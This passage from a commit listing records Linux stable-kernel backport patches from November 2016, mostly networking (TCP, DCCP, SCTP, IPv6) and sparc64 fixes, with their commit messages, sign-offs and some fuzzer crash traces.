       tp->snd_cwnd = max(tp->snd_cwnd, tp->snd_ssthresh << 1);
    
    ... which makes sense for reno (it sets ssthresh to half the current cwnd),
    but it makes no sense for dctcp, which sets ssthresh based on the current
    congestion estimate.
    
    This can cause severe growth of cwnd (eventually overflowing u32).
    
    Fix this by saving last cwnd on loss and restore cwnd based on that,
    similar to cubic and other algorithms.
    
    Fixes: e3118e8 ("net: tcp: add DCTCP congestion control algorithm")
    Cc: Lawrence Brakmo <[email protected]>
    Cc: Andrew Shewmaker <[email protected]>
    Cc: Glenn Judd <[email protected]>
    Acked-by: Daniel Borkmann <[email protected]>
    Signed-off-by: Florian Westphal <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Florian Westphal authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    74e53a3 View commit details
    Browse the repository at this point in the history
  2. net: clear sk_err_soft in sk_clone_lock()

    [ Upstream commit e551c32 ]
    
    At accept() time, it is possible the parent has a non zero
    sk_err_soft, leftover from a prior error.
    
    Make sure we do not leave this value in the child, as it
    makes future getsockopt(SO_ERROR) calls quite unreliable.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Acked-by: Soheil Hassas Yeganeh <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    ac4c2cf View commit details
    Browse the repository at this point in the history
  3. net: mangle zero checksum in skb_checksum_help()

    [ Upstream commit 4f2e4ad ]
    
    Sending zero checksum is ok for TCP, but not for UDP.
    
    UDPv6 receiver should by default drop a frame with a 0 checksum,
    and UDPv4 would not verify the checksum and might accept a corrupted
    packet.
    
    Simply replace such checksum by 0xffff, regardless of transport.
    
    This error was caught on SIT tunnels, but seems generic.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Cc: Maciej Żenczykowski <[email protected]>
    Cc: Willem de Bruijn <[email protected]>
    Acked-by: Maciej Żenczykowski <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    6e9ca1b View commit details
    Browse the repository at this point in the history
  4. bgmac: stop clearing DMA receive control register right after it is set

    [ Upstream commit fcdefcc ]
    
    Current bgmac code initializes some DMA settings in the receive control
    register for some hardware and then immediately clears those settings.
    Not clearing those settings results in ~420Mbps *improvement* in
    throughput; this system can now receive frames at line-rate on Broadcom
    5871x hardware compared to ~520Mbps today.  I also tested a few other
    values but found there to be no discernible difference in CPU
    utilization even if burst size and prefetching values are different.
    
    On the hardware tested there was no need to keep the code that cleared
    all but bits 16-17, but since there is a wide variety of hardware that
    used this driver (I did not look at all hardware docs for hardware using
    this IP block), I find it wise to move this call up and clear bits just
    after reading the default value from the hardware rather than completely
    removing it.
    
    This is a good candidate for -stable >=3.14 since that is when the code
    that was supposed to improve performance (but did not) was introduced.
    
    Signed-off-by: Andy Gospodarek <[email protected]>
    Fixes: 56ceecd ("bgmac: initialize the DMA controller of core...")
    Cc: Hauke Mehrtens <[email protected]>
    Acked-by: Hauke Mehrtens <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    CCX-Stingray authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    c5bad81 View commit details
    Browse the repository at this point in the history
  5. ip6_tunnel: Clear IP6CB in ip6tunnel_xmit()

    [ Upstream commit 23f4ffe ]
    
    skb->cb may contain data from previous layers. In the observed scenario,
    the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so
    that small packets sent through the tunnel are mistakenly fragmented.
    
    This patch unconditionally clears the control buffer in ip6tunnel_xmit(),
    which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of
    these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier.
    
    Cc: [email protected]
    Signed-off-by: Eli Cooper <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eli Cooper authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    8777977 View commit details
    Browse the repository at this point in the history
  6. tcp: fix potential memory corruption

    [ Upstream commit ac9e70b ]
    
    Imagine initial value of max_skb_frags is 17, and last
    skb in write queue has 15 frags.
    
    Then max_skb_frags is lowered to 14 or smaller value.
    
    tcp_sendmsg() will then be allowed to add additional page frags
    and eventually go past MAX_SKB_FRAGS, overflowing struct
    skb_shared_info.
    
    Fixes: 5f74f82 ("net:Add sysctl_max_skb_frags")
    Signed-off-by: Eric Dumazet <[email protected]>
    Cc: Hans Westgaard Ry <[email protected]>
    Cc: Håkon Bugge <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    69a5c7c View commit details
    Browse the repository at this point in the history
  7. dccp: do not send reset to already closed sockets

    [ Upstream commit 346da62 ]
    
    Andrey reported following warning while fuzzing with syzkaller
    
    WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290
    Kernel panic - not syncing: panic_on_warn set ...
    
    CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ Freescale#293
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
     ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000
     ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a
     0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00
    Call Trace:
     [<     inline     >] __dump_stack lib/dump_stack.c:15
     [<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51
     [<ffffffff8140c06a>] panic+0x1bc/0x39d kernel/panic.c:179
     [<ffffffff8111125c>] __warn+0x1cc/0x1f0 kernel/panic.c:542
     [<ffffffff8111144c>] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
     [<ffffffff8389e5d9>] dccp_set_state+0x229/0x290 net/dccp/proto.c:83
     [<ffffffff838a0aa2>] dccp_close+0x612/0xc10 net/dccp/proto.c:1016
     [<ffffffff8316bf1f>] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415
     [<ffffffff82b6e89e>] sock_release+0x8e/0x1d0 net/socket.c:570
     [<ffffffff82b6e9f6>] sock_close+0x16/0x20 net/socket.c:1017
     [<ffffffff815256ad>] __fput+0x29d/0x720 fs/file_table.c:208
     [<ffffffff81525bb5>] ____fput+0x15/0x20 fs/file_table.c:244
     [<ffffffff811727d8>] task_work_run+0xf8/0x170 kernel/task_work.c:116
     [<     inline     >] exit_task_work include/linux/task_work.h:21
     [<ffffffff8111bc53>] do_exit+0x883/0x2ac0 kernel/exit.c:828
     [<ffffffff811221fe>] do_group_exit+0x10e/0x340 kernel/exit.c:931
     [<ffffffff81143c94>] get_signal+0x634/0x15a0 kernel/signal.c:2307
     [<ffffffff81054aad>] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807
     [<ffffffff81003a05>] exit_to_usermode_loop+0xe5/0x130
    arch/x86/entry/common.c:156
     [<     inline     >] prepare_exit_to_usermode arch/x86/entry/common.c:190
     [<ffffffff81006298>] syscall_return_slowpath+0x1a8/0x1e0
    arch/x86/entry/common.c:259
     [<ffffffff83fc1a62>] entry_SYSCALL_64_fastpath+0xc0/0xc2
    Dumping ftrace buffer:
       (ftrace buffer empty)
    Kernel Offset: disabled
    
    Fix this the same way we did for TCP in commit 565b7b2
    ("tcp: do not send reset to already closed sockets")
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Andrey Konovalov <[email protected]>
    Tested-by: Andrey Konovalov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    ad6d0a8 View commit details
    Browse the repository at this point in the history
  8. dccp: fix out of bound access in dccp_v4_err()

    [ Upstream commit 6706a97 ]
    
    dccp_v4_err() does not use pskb_may_pull() and might access garbage.
    
    We only need 4 bytes at the beginning of the DCCP header, like TCP,
    so the 8 bytes pulled in icmp_socket_deliver() are more than enough.
    
    This patch might allow to process more ICMP messages, as some routers
    are still limiting the size of reflected bytes to 28 (RFC 792), instead
    of extended lengths (RFC 1812 4.3.2.3)
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    a2df29e View commit details
    Browse the repository at this point in the history
  9. ipv6: dccp: fix out of bound access in dccp_v6_err()

    [ Upstream commit 1aa9d1a ]
    
    dccp_v6_err() does not use pskb_may_pull() and might access garbage.
    
    We only need 4 bytes at the beginning of the DCCP header, like TCP,
    so the 8 bytes pulled in icmpv6_notify() are more than enough.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    9913176 View commit details
    Browse the repository at this point in the history
  10. ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped

    [ Upstream commit 990ff4d ]
    
    While fuzzing kernel with syzkaller, Andrey reported a nasty crash
    in inet6_bind() caused by DCCP lacking a required method.
    
    Fixes: ab1e0a1 ("[SOCK] proto: Add hashinfo member to struct proto")
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Andrey Konovalov <[email protected]>
    Tested-by: Andrey Konovalov <[email protected]>
    Cc: Arnaldo Carvalho de Melo <[email protected]>
    Acked-by: Arnaldo Carvalho de Melo <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    65d29c1 View commit details
    Browse the repository at this point in the history
  11. sctp: assign assoc_id earlier in __sctp_connect

    [ Upstream commit 7233bc8 ]
    
    sctp_wait_for_connect() currently already holds the asoc to keep it
    alive during the sleep, in case another thread release it. But Andrey
    Konovalov and Dmitry Vyukov reported an use-after-free in such
    situation.
    
    Problem is that __sctp_connect() doesn't get a ref on the asoc and will
    do a read on the asoc after calling sctp_wait_for_connect(), but by then
    another thread may have closed it and the _put on sctp_wait_for_connect
    will actually release it, causing the use-after-free.
    
    Fix is, instead of doing the read after waiting for the connect, do it
    before so, and avoid this issue as the socket is still locked by then.
    There should be no issue on returning the asoc id in case of failure as
    the application shouldn't trust on that number in such situations
    anyway.
    
    This issue doesn't exist in sctp_sendmsg() path.
    
    Reported-by: Dmitry Vyukov <[email protected]>
    Reported-by: Andrey Konovalov <[email protected]>
    Tested-by: Andrey Konovalov <[email protected]>
    Signed-off-by: Marcelo Ricardo Leitner <[email protected]>
    Reviewed-by: Xin Long <[email protected]>
    Acked-by: Neil Horman <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    marceloleitner authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    3f8857a View commit details
    Browse the repository at this point in the history
  12. fib_trie: Correct /proc/net/route off by one error

    [ Upstream commit fd0285a ]
    
    The display of /proc/net/route has had a couple issues due to the fact that
    when I originally rewrote most of fib_trie I made it so that the iterator
    was tracking the next value to use instead of the current.
    
    In addition it had an off by 1 error where I was tracking the first piece
    of data as position 0, even though in reality that belonged to the
    SEQ_START_TOKEN.
    
    This patch updates the code so the iterator tracks the last reported
    position and key instead of the next expected position and key.  In
    addition it shifts things so that all of the leaves start at 1 instead of
    trying to report leaves starting with offset 0 as being valid.  With these
    two issues addressed this should resolve any off by one errors that were
    present in the display of /proc/net/route.
    
    Fixes: 25b97c0 ("ipv4: off-by-one in continuation handling in /proc/net/route")
    Cc: Andy Whitcroft <[email protected]>
    Reported-by: Jason Baron <[email protected]>
    Tested-by: Jason Baron <[email protected]>
    Signed-off-by: Alexander Duyck <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Alexander Duyck authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    0650eeb View commit details
    Browse the repository at this point in the history
  13. sock: fix sendmmsg for partial sendmsg

    [ Upstream commit 3023898 ]
    
    Do not send the next message in sendmmsg for partial sendmsg
    invocations.
    
    sendmmsg assumes that it can continue sending the next message
    when the return value of the individual sendmsg invocations
    is positive. It results in corrupting the data for TCP,
    SCTP, and UNIX streams.
    
    For example, sendmmsg([["abcd"], ["efgh"]]) can result in a stream
    of "aefgh" if the first sendmsg invocation sends only the first
    byte while the second sendmsg goes through.
    
    Datagram sockets either send the entire datagram or fail, so
    this patch affects only sockets of type SOCK_STREAM and
    SOCK_SEQPACKET.
    
    Fixes: 228e548 ("net: Add sendmmsg socket system call")
    Signed-off-by: Soheil Hassas Yeganeh <[email protected]>
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: Willem de Bruijn <[email protected]>
    Signed-off-by: Neal Cardwell <[email protected]>
    Acked-by: Maciej Żenczykowski <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    soheilhy authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    b67ed64 View commit details
    Browse the repository at this point in the history
  14. net: __skb_flow_dissect() must cap its return value

    [ Upstream commit 34fad54 ]
    
    After Tom patch, thoff field could point past the end of the buffer,
    this could fool some callers.
    
    If an skb was provided, skb->len should be the upper limit.
    If not, hlen is supposed to be the upper limit.
    
    Fixes: a6e544b ("flow_dissector: Jump to exit code in __skb_flow_dissect")
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Yibin Yang <[email protected]
    Acked-by: Alexander Duyck <[email protected]>
    Acked-by: Willem de Bruijn <[email protected]>
    Acked-by: Alexei Starovoitov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    5c67f94 View commit details
    Browse the repository at this point in the history
  15. ipv4: use new_gw for redirect neigh lookup

    [ Upstream commit 969447f ]
    
    In v2.6, ip_rt_redirect() calls arp_bind_neighbour() which returns 0
    and then the state of the neigh for the new_gw is checked. If the state
    isn't valid then the redirected route is deleted. This behavior is
    maintained up to v3.5.7 by check_peer_redirect() because rt->rt_gateway
    is assigned to peer->redirect_learned.a4 before calling
    ipv4_neigh_lookup().
    
    After commit 5943634 ("ipv4: Maintain redirect and PMTU info in
    struct rtable again."), ipv4_neigh_lookup() is performed without the
    rt_gateway assigned to the new_gw. In the case when rt_gateway (old_gw)
    isn't zero, the function uses it as the key. The neigh is most likely
    valid since the old_gw is the one that sends the ICMP redirect message.
    Then the new_gw is assigned to fib_nh_exception. The problem is: the
    new_gw ARP may never gets resolved and the traffic is blackholed.
    
    So, use the new_gw for neigh lookup.
    
    Changes from v1:
     - use __ipv4_neigh_lookup instead (per Eric Dumazet).
    
    Fixes: 5943634 ("ipv4: Maintain redirect and PMTU info in struct rtable again.")
    Signed-off-by: Stephen Suryaputra Lin <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ssuryaputra authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    ae9e052 View commit details
    Browse the repository at this point in the history
  16. tcp: take care of truncations done by sk_filter()

    [ Upstream commit ac6e780 ]
    
    With syzkaller help, Marco Grassi found a bug in TCP stack,
    crashing in tcp_collapse()
    
    Root cause is that sk_filter() can truncate the incoming skb,
    but TCP stack was not really expecting this to happen.
    It probably was expecting a simple DROP or ACCEPT behavior.
    
    We first need to make sure no part of TCP header could be removed.
    Then we need to adjust TCP_SKB_CB(skb)->end_seq
    
    Many thanks to syzkaller team and Marco for giving us a reproducer.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Marco Grassi <[email protected]>
    Reported-by: Vladis Dronov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    225a24a View commit details
    Browse the repository at this point in the history
  17. tty: Prevent ldisc drivers from re-using stale tty fields

    commit dd42bf1 upstream.
    
    Line discipline drivers may mistakenly misuse ldisc-related fields
    when initializing. For example, a failure to initialize tty->receive_room
    in the N_GIGASET_M101 line discipline was recently found and fixed [1].
    Now, the N_X25 line discipline has been discovered accessing the previous
    line discipline's already-freed private data [2].
    
    Harden the ldisc interface against misuse by initializing revelant
    tty fields before instancing the new line discipline.
    
    [1]
        commit fd98e94
        Author: Tilman Schmidt <[email protected]>
        Date:   Tue Jul 14 00:37:13 2015 +0200
    
        isdn/gigaset: reset tty->receive_room when attaching ser_gigaset
    
    [2] Report from Sasha Levin <[email protected]>
        [  634.336761] ==================================================================
        [  634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0
        [  634.339558] Read of size 4 by task syzkaller_execu/8981
        [  634.340359] =============================================================================
        [  634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected
        ...
        [  634.405018] Call Trace:
        [  634.405277] dump_stack (lib/dump_stack.c:52)
        [  634.405775] print_trailer (mm/slub.c:655)
        [  634.406361] object_err (mm/slub.c:662)
        [  634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236)
        [  634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279)
        [  634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1))
        [  634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447)
        [  634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567)
        [  634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879)
        [  634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607)
        [  634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613)
        [  634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188)
    
    Cc: Tilman Schmidt <[email protected]>
    Cc: Sasha Levin <[email protected]>
    Signed-off-by: Peter Hurley <[email protected]>
    Cc: Jiri Slaby <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    peterhurley authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    4e772c5 View commit details
    Browse the repository at this point in the history
  18. sparc: Don't leak context bits into thread->fault_address

    [ Upstream commit 4f6deb8 ]
    
    On pre-Niagara systems, we fetch the fault address on data TLB
    exceptions from the TLB_TAG_ACCESS register.  But this register also
    contains the context ID assosciated with the fault in the low 13 bits
    of the register value.
    
    This propagates into current_thread_info()->fault_address and can
    cause trouble later on.
    
    So clear the low 13-bits out of the TLB_TAG_ACCESS value in the cases
    where it matters.
    
    Reported-by: Mikulas Patocka <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    a395f7a View commit details
    Browse the repository at this point in the history
  19. sparc: serial: sunhv: fix a double lock bug

    [ Upstream commit 344e3c7 ]
    
    We accidentally take the "port->lock" twice in a row.  This old code
    was supposed to be deleted.
    
    Fixes: e58e241 ('sparc: serial: Clean up the locking for -rt')
    Signed-off-by: Dan Carpenter <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Dan Carpenter authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    4e90b68 View commit details
    Browse the repository at this point in the history
  20. sparc64 mm: Fix base TSB sizing when hugetlb pages are used

    [ Upstream commit af1b1a9 ]
    
    do_sparc64_fault() calculates both the base and huge page RSS sizes and
    uses this information in calls to tsb_grow().  The calculation for base
    page TSB size is not correct if the task uses hugetlb pages.  hugetlb
    pages are not accounted for in RSS, therefore the call to get_mm_rss(mm)
    does not include hugetlb pages.  However, the number of pages based on
    huge_pte_count (which does include hugetlb pages) is subtracted from
    this value.  This will result in an artificially small and often negative
    RSS calculation.  The base TSB size is then often set to max_tsb_size
    as the passed RSS is unsigned, so a negative value looks really big.
    
    THP pages are also accounted for in huge_pte_count, and THP pages are
    accounted for in RSS so the calculation in do_sparc64_fault() is correct
    if a task only uses THP pages.
    
    A single huge_pte_count is not sufficient for TSB sizing if both hugetlb
    and THP pages can be used.  Instead of a single counter, use two:  one
    for hugetlb and one for THP.
    
    Signed-off-by: Mike Kravetz <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    mjkravetz authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    8fd11ef View commit details
    Browse the repository at this point in the history
  21. sparc: Handle negative offsets in arch_jump_label_transform

    [ Upstream commit 9d9fa23 ]
    
    Additionally, if the offset will overflow the immediate for a ba,pt
    instruction, fall back on a standard ba to get an extra 3 bits.
    
    Signed-off-by: James Clarke <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jrtc27 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    7593180 View commit details
    Browse the repository at this point in the history
  22. sparc64: Handle extremely large kernel TSB range flushes sanely.

    [ Upstream commit 849c498 ]
    
    If the number of pages we are flushing is more than twice the number
    of entries in the TSB, just scan the TSB table for matches rather
    than probing each and every page in the range.
    
    Based upon a patch and report by James Clarke.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    2ba0632 View commit details
    Browse the repository at this point in the history
  23. sparc64: Fix illegal relative branches in hypervisor patched TLB code.

    [ Upstream commit b429ae4 ]
    
    When we copy code over to patch another piece of code, we can only use
    PC-relative branches that target code within that piece of code.
    
    Such PC-relative branches cannot be made to external symbols because
    the patch moves the location of the code and thus modifies the
    relative address of external symbols.
    
    Use an absolute jmpl to fix this problem.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    217f829 View commit details
    Browse the repository at this point in the history
  24. sparc64: Fix instruction count in comment for __hypervisor_flush_tlb_…

    …pending.
    
    [ Upstream commit 830cda3 ]
    
    Noticed by James Clarke.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    5d8eb95 View commit details
    Browse the repository at this point in the history
  25. sparc64: Fix illegal relative branches in hypervisor patched TLB cros…

    …s-call code.
    
    [ Upstream commit a236441 ]
    
    Just like the non-cross-call TLB flush handlers, the cross-call ones need
    to avoid doing PC-relative branches outside of their code blocks.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    d36a1ac View commit details
    Browse the repository at this point in the history
  26. sparc64: Handle extremely large kernel TLB range flushes more gracefu…

    …lly.
    
    [ Upstream commit a74ad5e ]
    
    When the vmalloc area gets fragmented, and because the firmware
    mapping area sits between where modules live and the vmalloc area, we
    can sometimes receive requests for enormous kernel TLB range flushes.
    
    When this happens the cpu just spins flushing billions of pages and
    this triggers the NMI watchdog and other problems.
    
    We took care of this on the TSB side by doing a linear scan of the
    table once we pass a certain threshold.
    
    Do something similar for the TLB flush, however we are limited by
    the TLB flush facilities provided by the different chip variants.
    
    First of all we use an (mostly arbitrary) cut-off of 256K which is
    about 32 pages.  This can be tuned in the future.
    
    The huge range code path for each chip works as follows:
    
    1) On spitfire we flush all non-locked TLB entries using diagnostic
       acceses.
    
    2) On cheetah we use the "flush all" TLB flush.
    
    3) On sun4v/hypervisor we do a TLB context flush on context 0, which
       unlike previous chips does not remove "permanent" or locked
       entries.
    
    We could probably do something better on spitfire, such as limiting
    the flush to kernel TLB entries or even doing range comparisons.
    However that probably isn't worth it since those chips are old and
    the TLB only had 64 entries.
    
    Reported-by: James Clarke <[email protected]>
    Tested-by: James Clarke <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    f5a69ff View commit details
    Browse the repository at this point in the history
  27. sparc64: Delete __ret_efault.

    [ Upstream commit aa95ce3 ]
    
    It is completely unused.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    756723a View commit details
    Browse the repository at this point in the history
  28. sparc64: Prepare to move to more saner user copy exception handling.

    [ Upstream commit 83a17d2 ]
    
    The fixup helper function mechanism for handling user copy fault
    handling is not %100 accurrate, and can never be made so.
    
    We are going to transition the code to return the running return
    return length, which is always kept track in one or more registers
    of each of these routines.
    
    In order to convert them one by one, we have to allow the existing
    behavior to continue functioning.
    
    Therefore make all the copy code that wants the fixup helper to be
    used return negative one.
    
    After all of the user copy routines have been converted, this logic
    and the fixup helpers themselves can be removed completely.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    dd8a78b View commit details
    Browse the repository at this point in the history
  29. sparc64: Convert copy_in_user to accurate exception reporting.

    [ Upstream commit 0096ac9 ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    c718e91 View commit details
    Browse the repository at this point in the history
  30. sparc64: Convert GENcopy_{from,to}_user to accurate exception reporting.

    [ Upstream commit d0796b5 ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    8a444c7 View commit details
    Browse the repository at this point in the history
  31. sparc64: Convert U1copy_{from,to}_user to accurate exception reporting.

    [ Upstream commit cb736fd ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    1731d90 View commit details
    Browse the repository at this point in the history
  32. sparc64: Convert NG4copy_{from,to}_user to accurate exception reporting.

    [ Upstream commit 9570770 ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    dc3a7a7 View commit details
    Browse the repository at this point in the history
  33. sparc64: Convert NGcopy_{from,to}_user to accurate exception reporting.

    [ Upstream commit 7ae3aaf ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    bfc8be6 View commit details
    Browse the repository at this point in the history
  34. sparc64: Convert NG2copy_{from,to}_user to accurate exception reporting.

    [ Upstream commit e93704e ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    7181969 View commit details
    Browse the repository at this point in the history
  35. sparc64: Convert U3copy_{from,to}_user to accurate exception reporting.

    [ Upstream commit ee841d0 ]
    
    Report the exact number of bytes which have not been successfully
    copied when an exception occurs, using the running remaining length.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    1c7e17b View commit details
    Browse the repository at this point in the history
  36. sparc64: Delete now unused user copy assembler helpers.

    [ Upstream commit 614da3d ]
    
    All of __ret{,l}_mone{_asi,_fp,_asi_fpu} are now unused.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    cb85910 View commit details
    Browse the repository at this point in the history
  37. sparc64: Delete now unused user copy fixup functions.

    [ Upstream commit 0fd0ff0 ]
    
